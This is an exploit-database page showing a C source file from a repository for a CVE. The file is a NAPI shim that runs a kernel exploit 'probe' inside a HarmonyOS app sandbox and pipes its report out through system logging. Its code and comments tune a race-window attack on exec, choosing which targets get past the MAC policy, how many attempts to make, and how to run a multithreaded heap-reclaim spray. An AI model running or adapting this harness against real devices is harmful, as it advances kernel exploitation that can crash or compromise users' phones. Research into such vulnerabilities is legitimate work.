Exploit databaseDownload repository ZIP
GH-d6ec28ab16bf0e55f0a0af4c85719b3e
yodontan/cve-2026-98260-harmonyos-applicability
Sources for CVE-2026-98260
61 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
yodontan/cve-2026-98260-harmonyos-applicabilityRevision 5631d36da76a
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
tools/probe/appdomain/probe_napi.c
C · 18,556 bytes/*
* probe_napi.c -- NAPI shim that runs the existing CVE-2026-98260 capability
* probe (exploit/probe.c, unmodified) inside a signed HarmonyOS application
* sandbox process, and makes its output harvestable from the host.
*
* Design:
* - probe.c is compiled into this same shared object with
* -Dmain=probe_main, so its standalone main() becomes a callable entry
* point. probe.c itself is NOT modified in any way.
* - runProbe(filesDir, probeImage) starts a *detached pthread* (never the
* ArkTS main thread: a long block there would trip the appfreeze
* watchdog) which
* 1. captures the MAC domain / namespace facts of the app process,
* 2. dup2()s its own stdout/stderr onto a file inside the app's own
* sandbox files dir (probe.c writes with write(2) on fd 1, so
* dup2 is sufficient and nothing is buffered),
* 3. calls probe_main(),
* 4. restores stdout/stderr to /dev/null,
* 5. re-emits the whole report through hilog, one line per call,
* with a line index so the host can detect gaps.
* - If a completed report already exists (marker file present) the probe is
* NOT re-run; the existing report is only re-emitted through hilog. That
* makes a second `aa start` a pure, idempotent log-recapture pass and
* guarantees the kernel is stressed at most once.
*
* The probe image handed in by the ArkTS side (a copy of the statically
* linked exploit/probe binary, shipped as a HAP rawfile) is written to the
* sandbox with mode 0755 and passed to probe.c as argv[0]. probe.c uses
* argv[0] for its "absolute argv[0]" execve sub-check, so this both tests
* whether an app domain may exec a sandbox-resident ELF and, if it may, lets
* the re-executed copy of the probe print its [EXEC-LANDED] TID-exchange
* evidence into the very same report file.
*/
#define LOG_DOMAIN 0xF0F1
#define LOG_TAG "AppProbe"
#include <hilog/log.h>
#include <node_api.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/utsname.h>
#include <sys/xattr.h>
#include <unistd.h>
#define AP_PATHMAX 512
#define AP_CHUNK 700 /* bytes of user payload per hilog record */
#define AP_REPORT_MAX (1024 * 1024)
/*
* WE-EXPERIMENT (window-entry run) ------------------------------------------
* probe.c's step 7 originally execs the PoC's own target "/proc/self/exe" from
* the non-leader thread; on this device the MAC layer refuses that exec with
* EACCES for an app domain, so de_thread() is never reached and the vulnerable
* window is never entered. The earlier capability run established which
* targets this MAC domain may actually exec:
*
* /system/bin/toybox execve() LANDED (new image ran, exit 127)
* /system/bin/ls access(X_OK)=ok, and it is a symlink to the
* same toybox image (readlink -> "toybox")
* /system/bin/sh, /bin/sh refused (EACCES even at access(X_OK))
* /proc/self/exe, sandbox ELF refused EACCES (MAC: debug_hap_data_file)
*
* So step 7 is pointed at the permitted paths. The first (window-entry) run
* used "/system/bin/toybox,/system/bin/ls" with 2 attempts and then stopped on
* the first window entry, which left the race barely contested. This rerun
* uses 12 attempts (probe.c's MAX_ATTEMPTS is 16) weighted towards the proven
* target: the list is cycled per attempt, so 8 attempts exec
* /system/bin/toybox (the path that demonstrably entered the window) and 4
* exec /system/bin/ls (the same toybox image through a symlink), which also
* checks whether the two labels behave identically.
*/
/*
* These are the experiment's knobs. The defaults are the window-entry
* RERUN configuration (12 attempts, weighted towards the proven target); the
* one-attempt CONTROL build overrides the two numeric ones with
* -DAP_TRIG_ATTEMPTS_N=1 -DAP_TRIG_NOKILL_N=1 so that a single, uninterrupted
* attempt can show that the landing marker really does appear when the exec is
* allowed to finish. Numbers are passed as numbers and stringified here, so
* no shell quoting games are needed on the compiler command line.
*/
#ifndef AP_TRIG_EXECS
#define AP_TRIG_EXECS "/system/bin/toybox,/system/bin/toybox,/system/bin/ls"
#endif
#ifndef AP_TRIG_ATTEMPTS_N
#define AP_TRIG_ATTEMPTS_N 6
#endif
#ifndef AP_TRIG_NOKILL_N
#define AP_TRIG_NOKILL_N 0
#endif
/*
* RECLAIM-CANARY configuration (WE-EXPERIMENT reclaim).
*
* The reclaim phases are driven by two env knobs that the probe reads itself,
* so the whole experiment - treatment arm, no-SIGKILL control arm and a
* no-spray reference attempt - runs inside ONE probe run and therefore needs
* exactly one install:
*
* PROBE_RECLAIM=1 enable the reclaim canary
* PROBE_RECLAIM_SPRAY="512,512,64,0" per-attempt spray size (cycled)
* PROBE_RC_CONTROL_N=2 the LAST 2 attempts get no SIGKILL
* PROBE_RECLAIM_THREADS=8 sprayer threads
* PROBE_RECLAIM_STAGGER_MS=15 stagger between sprayer thread starts
*
* With 6 attempts and control_n=2 that is 4 treatment trials (spray 512, 512,
* 64, 0 - the 0 is the no-reclaim reference) and 2 control trials (same
* topology and same spray, but the window is never entered). Bounded, as
* required for a daily-driver phone.
*/
#ifndef AP_RECLAIM
#define AP_RECLAIM "1"
#endif
#ifndef AP_RECLAIM_SPRAY
#define AP_RECLAIM_SPRAY "512,512,64,0,512,512"
#endif
#ifndef AP_RC_CONTROL_N
#define AP_RC_CONTROL_N 2
#endif
#define AP_STRINGIFY_(x) #x
#define AP_STRINGIFY(x) AP_STRINGIFY_(x)
#define AP_TRIG_ATTEMPTS AP_STRINGIFY(AP_TRIG_ATTEMPTS_N)
#define AP_TRIG_NOKILL AP_STRINGIFY(AP_TRIG_NOKILL_N)
#define AP_RC_CONTROL AP_STRINGIFY(AP_RC_CONTROL_N)
extern int probe_main(int argc, char **argv);
static char g_dir[AP_PATHMAX];
static char g_report[AP_PATHMAX + 32];
static char g_done[AP_PATHMAX + 32];
static char g_exe[AP_PATHMAX + 32];
static int g_have_exe;
static int g_started;
static long ap_tid(void)
{
return (long)syscall(SYS_gettid);
}
static ssize_t ap_read_file(const char *path, char *buf, size_t n)
{
int fd;
ssize_t r;
fd = open(path, O_RDONLY);
if (fd < 0)
return -1;
r = read(fd, buf, n - 1);
close(fd);
if (r < 0)
return -1;
buf[r] = '\0';
while (r > 0 && (buf[r - 1] == '\n' || buf[r - 1] == '\r'))
buf[--r] = '\0';
return r;
}
static void ap_log_label(const char *what, const char *path)
{
char lbl[256];
ssize_t n;
struct stat st;
n = -1;
#if defined(__linux__)
n = getxattr(path, "security.selinux", lbl, sizeof lbl - 1);
#endif
if (n > 0) {
lbl[n] = '\0';
OH_LOG_INFO(LOG_APP, "[DOMAIN] xattr.%{public}s=%{public}s", what, lbl);
} else {
OH_LOG_INFO(LOG_APP, "[DOMAIN] xattr.%{public}s unreadable errno=%{public}d",
what, errno);
}
if (stat(path, &st) == 0)
OH_LOG_INFO(LOG_APP,
"[DOMAIN] stat.%{public}s mode=%{public}o uid=%{public}d gid=%{public}d size=%{public}ld",
what, (unsigned)st.st_mode, (int)st.st_uid,
(int)st.st_gid, (long)st.st_size);
else
OH_LOG_INFO(LOG_APP, "[DOMAIN] stat.%{public}s failed errno=%{public}d",
what, errno);
}
/* Where did this .so get loaded from, and what is the process image? */
static void ap_log_maps_hint(void)
{
char buf[65536];
char *line;
char *save = NULL;
int emitted = 0;
if (ap_read_file("/proc/self/maps", buf, sizeof buf) < 0) {
OH_LOG_INFO(LOG_APP, "[DOMAIN] /proc/self/maps unreadable errno=%{public}d",
errno);
return;
}
for (line = strtok_r(buf, "\n", &save); line != NULL && emitted < 12;
line = strtok_r(NULL, "\n", &save)) {
if (strstr(line, "libprobe.so") == NULL &&
strstr(line, "appspawn") == NULL &&
strstr(line, "libc.so") == NULL &&
strstr(line, "modules.abc") == NULL &&
strstr(line, "libace") == NULL)
continue;
OH_LOG_INFO(LOG_APP, "[DOMAIN] maps: %{public}s", line);
emitted++;
}
}
static void ap_log_domain(void)
{
char buf[8192];
char *line;
char *save = NULL;
struct utsname u;
char exe[AP_PATHMAX];
ssize_t n;
OH_LOG_INFO(LOG_APP,
"[DOMAIN] pid=%{public}d tid=%{public}ld uid=%{public}d gid=%{public}d euid=%{public}d egid=%{public}d",
(int)getpid(), ap_tid(), (int)getuid(), (int)getgid(),
(int)geteuid(), (int)getegid());
n = readlink("/proc/self/exe", exe, sizeof exe - 1);
if (n > 0) {
exe[n] = '\0';
OH_LOG_INFO(LOG_APP, "[DOMAIN] proc.self.exe=%{public}s", exe);
} else {
OH_LOG_INFO(LOG_APP, "[DOMAIN] readlink(/proc/self/exe) errno=%{public}d",
errno);
}
n = readlink("/proc/self/cwd", exe, sizeof exe - 1);
if (n > 0) {
exe[n] = '\0';
OH_LOG_INFO(LOG_APP, "[DOMAIN] proc.self.cwd=%{public}s", exe);
}
n = ap_read_file("/proc/self/attr/current", buf, sizeof buf);
if (n >= 0)
OH_LOG_INFO(LOG_APP, "[DOMAIN] attr.current=%{public}s", buf);
else
OH_LOG_INFO(LOG_APP, "[DOMAIN] attr.current unreadable errno=%{public}d",
errno);
if (uname(&u) == 0)
OH_LOG_INFO(LOG_APP,
"[DOMAIN] uname sysname=%{public}s nodename=%{public}s release=%{public}s machine=%{public}s",
u.sysname, u.nodename, u.release, u.machine);
/* /proc/self/status, one hilog record per line */
if (ap_read_file("/proc/self/status", buf, sizeof buf) >= 0) {
for (line = strtok_r(buf, "\n", &save); line != NULL;
line = strtok_r(NULL, "\n", &save))
OH_LOG_INFO(LOG_APP, "[DOMAIN] status %{public}s", line);
}
ap_log_label("sandbox_filesdir", g_dir);
ap_log_label("sandbox_report", g_report);
if (g_have_exe)
ap_log_label("sandbox_probe_image", g_exe);
ap_log_maps_hint();
}
/*
* Re-emit a whole report through hilog, one line per call, prefixed with the
* zero-based line number so the host can detect and quantify any loss.
*/
static void ap_relog(const char *path)
{
char *buf;
char *line;
char *save = NULL;
long total = 0, idx = 0, bytes = 0;
size_t off;
ssize_t got;
buf = (char *)malloc(AP_REPORT_MAX);
if (buf == NULL) {
OH_LOG_ERROR(LOG_APP, "[DATA] malloc failed");
return;
}
got = ap_read_file(path, buf, AP_REPORT_MAX);
if (got < 0) {
OH_LOG_ERROR(LOG_APP, "[DATA] cannot read %{public}s errno=%{public}d",
path, errno);
free(buf);
return;
}
bytes = (long)got;
for (const char *p = buf; *p != '\0'; p++)
if (*p == '\n')
total++;
OH_LOG_INFO(LOG_APP,
"[DATA] BEGIN file=%{public}s bytes=%{public}ld lines=%{public}ld chunk=%{public}d",
path, bytes, total, AP_CHUNK);
for (line = strtok_r(buf, "\n", &save); line != NULL;
line = strtok_r(NULL, "\n", &save)) {
size_t len = strlen(line);
for (off = 0; off < len; off += AP_CHUNK) {
char tmp[AP_CHUNK + 1];
size_t take = len - off;
if (take > AP_CHUNK)
take = AP_CHUNK;
memcpy(tmp, line + off, take);
tmp[take] = '\0';
if (len <= AP_CHUNK)
OH_LOG_INFO(LOG_APP, "[DATA] P%{public}05ld %{public}s",
idx, tmp);
else
OH_LOG_INFO(LOG_APP,
"[DATA] P%{public}05ld (part %{public}d) %{public}s",
idx, (int)(off / AP_CHUNK) + 1, tmp);
}
idx++;
if (idx % 40 == 0)
usleep(20000); /* stay well inside hilog flow control */
}
OH_LOG_INFO(LOG_APP, "[DATA] END lines=%{public}ld emitted=%{public}ld",
total, idx);
free(buf);
}
static int ap_write_image(const unsigned char *data, size_t len, const char *path)
{
int fd;
size_t off = 0;
(void)unlink(path);
fd = open(path, O_CREAT | O_TRUNC | O_WRONLY, 0755);
if (fd < 0)
return -errno;
while (off < len) {
ssize_t w = write(fd, data + off, len - off);
if (w <= 0) {
int e = errno;
close(fd);
return -e;
}
off += (size_t)w;
}
close(fd);
if (chmod(path, 0755) != 0)
return -errno;
return 0;
}
static void ap_restore_std(void)
{
int fd = open("/dev/null", O_WRONLY);
if (fd >= 0) {
(void)dup2(fd, STDOUT_FILENO);
(void)dup2(fd, STDERR_FILENO);
if (fd > STDERR_FILENO)
close(fd);
}
}
static void *ap_probe_thread(void *arg)
{
char *argv[2];
int rc;
int fd;
int df;
char note[128];
struct stat st;
(void)arg;
OH_LOG_INFO(LOG_APP, "[RUN] probe thread up: tid=%{public}ld", ap_tid());
ap_log_domain();
fd = open(g_report, O_CREAT | O_TRUNC | O_WRONLY, 0644);
if (fd < 0) {
OH_LOG_ERROR(LOG_APP, "[RUN] cannot create report %{public}s errno=%{public}d",
g_report, errno);
return NULL;
}
if (dup2(fd, STDOUT_FILENO) < 0 || dup2(fd, STDERR_FILENO) < 0)
OH_LOG_ERROR(LOG_APP, "[RUN] dup2 failed errno=%{public}d", errno);
if (fd > STDERR_FILENO)
close(fd);
argv[0] = g_have_exe ? g_exe : (char *)"/proc/self/exe";
argv[1] = NULL;
OH_LOG_INFO(LOG_APP, "[RUN] probe_main(argv0=%{public}s) watchdog=probe-internal",
argv[0]);
/* WE-EXPERIMENT: step-7 exec target list + attempt count (see above). */
(void)setenv("PROBE_TRIG_EXECS", AP_TRIG_EXECS, 1);
(void)setenv("PROBE_TRIG_ATTEMPTS", AP_TRIG_ATTEMPTS, 1);
(void)setenv("PROBE_TRIG_NOKILL", AP_TRIG_NOKILL, 1);
OH_LOG_INFO(LOG_APP,
"[RUN] WE-EXPERIMENT PROBE_TRIG_EXECS=%{public}s PROBE_TRIG_ATTEMPTS=%{public}s PROBE_TRIG_NOKILL=%{public}s",
AP_TRIG_EXECS, AP_TRIG_ATTEMPTS, AP_TRIG_NOKILL);
/* WE-EXPERIMENT (reclaim): the reclaim canary's own knobs. */
(void)setenv("PROBE_RECLAIM", AP_RECLAIM, 1);
(void)setenv("PROBE_RECLAIM_SPRAY", AP_RECLAIM_SPRAY, 1);
(void)setenv("PROBE_RC_CONTROL_N", AP_RC_CONTROL, 1);
OH_LOG_INFO(LOG_APP,
"[RUN] WE-EXPERIMENT RECLAIM PROBE_RECLAIM=%{public}s PROBE_RECLAIM_SPRAY=%{public}s PROBE_RC_CONTROL_N=%{public}s",
AP_RECLAIM, AP_RECLAIM_SPRAY, AP_RC_CONTROL);
rc = probe_main(1, argv);
ap_restore_std();
OH_LOG_INFO(LOG_APP, "[RUN] probe_main returned rc=%{public}d", rc);
/* completion marker: a second launch only re-emits, never re-runs */
df = open(g_done, O_CREAT | O_TRUNC | O_WRONLY, 0644);
if (df >= 0) {
int k = snprintf(note, sizeof note, "probe_main rc=%d\n", rc);
if (k > 0) {
ssize_t wn = write(df, note, (size_t)k);
(void)wn;
}
close(df);
}
if (stat(g_report, &st) == 0)
OH_LOG_INFO(LOG_APP, "[RUN] report size=%{public}ld bytes",
(long)st.st_size);
ap_relog(g_report);
OH_LOG_INFO(LOG_APP, "[RUN] relog complete");
return NULL;
}
static int ap_arg_string(napi_env env, napi_value v, char *dst, size_t dstlen)
{
size_t need = 0;
if (napi_get_value_string_utf8(env, v, dst, dstlen, &need) != napi_ok)
return -1;
dst[dstlen - 1] = '\0';
return 0;
}
static napi_value RunProbe(napi_env env, napi_callback_info info)
{
size_t argc = 2;
napi_value args[2];
napi_value ret = NULL;
char status[160];
bool is_ta = false;
args[0] = NULL;
args[1] = NULL;
if (napi_get_cb_info(env, info, &argc, args, NULL, NULL) != napi_ok || argc < 1) {
OH_LOG_ERROR(LOG_APP, "[RUN] runProbe: bad arguments");
napi_create_string_utf8(env, "error:bad-args", NAPI_AUTO_LENGTH, &ret);
return ret;
}
if (ap_arg_string(env, args[0], g_dir, sizeof g_dir) != 0 || g_dir[0] != '/') {
OH_LOG_ERROR(LOG_APP, "[RUN] runProbe: filesDir not absolute");
napi_create_string_utf8(env, "error:bad-filesdir", NAPI_AUTO_LENGTH, &ret);
return ret;
}
(void)snprintf(g_report, sizeof g_report, "%s/probe-report.txt", g_dir);
(void)snprintf(g_done, sizeof g_done, "%s/probe-report.done", g_dir);
(void)snprintf(g_exe, sizeof g_exe, "%s/probe-exec.bin", g_dir);
if (argc >= 2 && args[1] != NULL &&
napi_is_typedarray(env, args[1], &is_ta) == napi_ok && is_ta) {
napi_typedarray_type type;
size_t length = 0;
void *data = NULL;
napi_value ab;
size_t off = 0;
int rc;
if (napi_get_typedarray_info(env, args[1], &type, &length, &data, &ab,
&off) == napi_ok && data != NULL &&
length > 0) {
rc = ap_write_image((const unsigned char *)data, length, g_exe);
if (rc == 0) {
g_have_exe = 1;
OH_LOG_INFO(LOG_APP,
"[RUN] extracted probe image to %{public}s (%{public}d bytes) mode=0755",
g_exe, (int)length);
if (access(g_exe, X_OK) == 0)
OH_LOG_INFO(LOG_APP, "[RUN] access(X_OK) on probe image = ok");
else
OH_LOG_INFO(LOG_APP,
"[RUN] access(X_OK) on probe image = fail errno=%{public}d",
errno);
} else {
OH_LOG_ERROR(LOG_APP,
"[RUN] cannot write probe image to %{public}s rc=%{public}d",
g_exe, rc);
}
}
} else {
OH_LOG_INFO(LOG_APP, "[RUN] no probe image supplied; argv0 will be /proc/self/exe");
}
/* completed report present -> log-capture pass only */
{
struct stat st;
if (stat(g_done, &st) == 0 && st.st_size > 0) {
OH_LOG_INFO(LOG_APP,
"[RUN] completed report already present; NOT re-running the probe, re-emitting only");
ap_log_domain();
ap_relog(g_report);
napi_create_string_utf8(env, "relogged", NAPI_AUTO_LENGTH, &ret);
return ret;
}
}
if (g_started) {
OH_LOG_INFO(LOG_APP, "[RUN] probe already running in this process");
napi_create_string_utf8(env, "already-running", NAPI_AUTO_LENGTH, &ret);
return ret;
}
g_started = 1;
{
pthread_t t;
pthread_attr_t a;
int rc;
pthread_attr_init(&a);
pthread_attr_setstacksize(&a, 2 * 1024 * 1024);
rc = pthread_create(&t, &a, ap_probe_thread, NULL);
pthread_attr_destroy(&a);
if (rc != 0) {
OH_LOG_ERROR(LOG_APP, "[RUN] pthread_create failed rc=%{public}d", rc);
napi_create_string_utf8(env, "error:pthread", NAPI_AUTO_LENGTH, &ret);
return ret;
}
pthread_detach(t);
}
(void)snprintf(status, sizeof status, "started:%s", g_report);
napi_create_string_utf8(env, status, NAPI_AUTO_LENGTH, &ret);
return ret;
}
static napi_value ProbeReportPath(napi_env env, napi_callback_info info)
{
napi_value ret = NULL;
(void)info;
napi_create_string_utf8(env, g_report, NAPI_AUTO_LENGTH, &ret);
return ret;
}
static napi_value Init(napi_env env, napi_value exports)
{
napi_property_descriptor desc[] = {
{ "runProbe", NULL, RunProbe, NULL, NULL, NULL, napi_default, NULL },
{ "reportPath", NULL, ProbeReportPath, NULL, NULL, NULL, napi_default, NULL },
};
napi_define_properties(env, exports, sizeof desc / sizeof desc[0], desc);
return exports;
}
static napi_module g_probe_module = {
.nm_version = 1,
.nm_flags = 0,
.nm_filename = __FILE__,
.nm_register_func = Init,
.nm_modname = "probe",
.nm_priv = NULL,
.reserved = { 0 },
};
__attribute__((constructor)) static void ApRegisterProbeModule(void)
{
napi_module_register(&g_probe_module);
}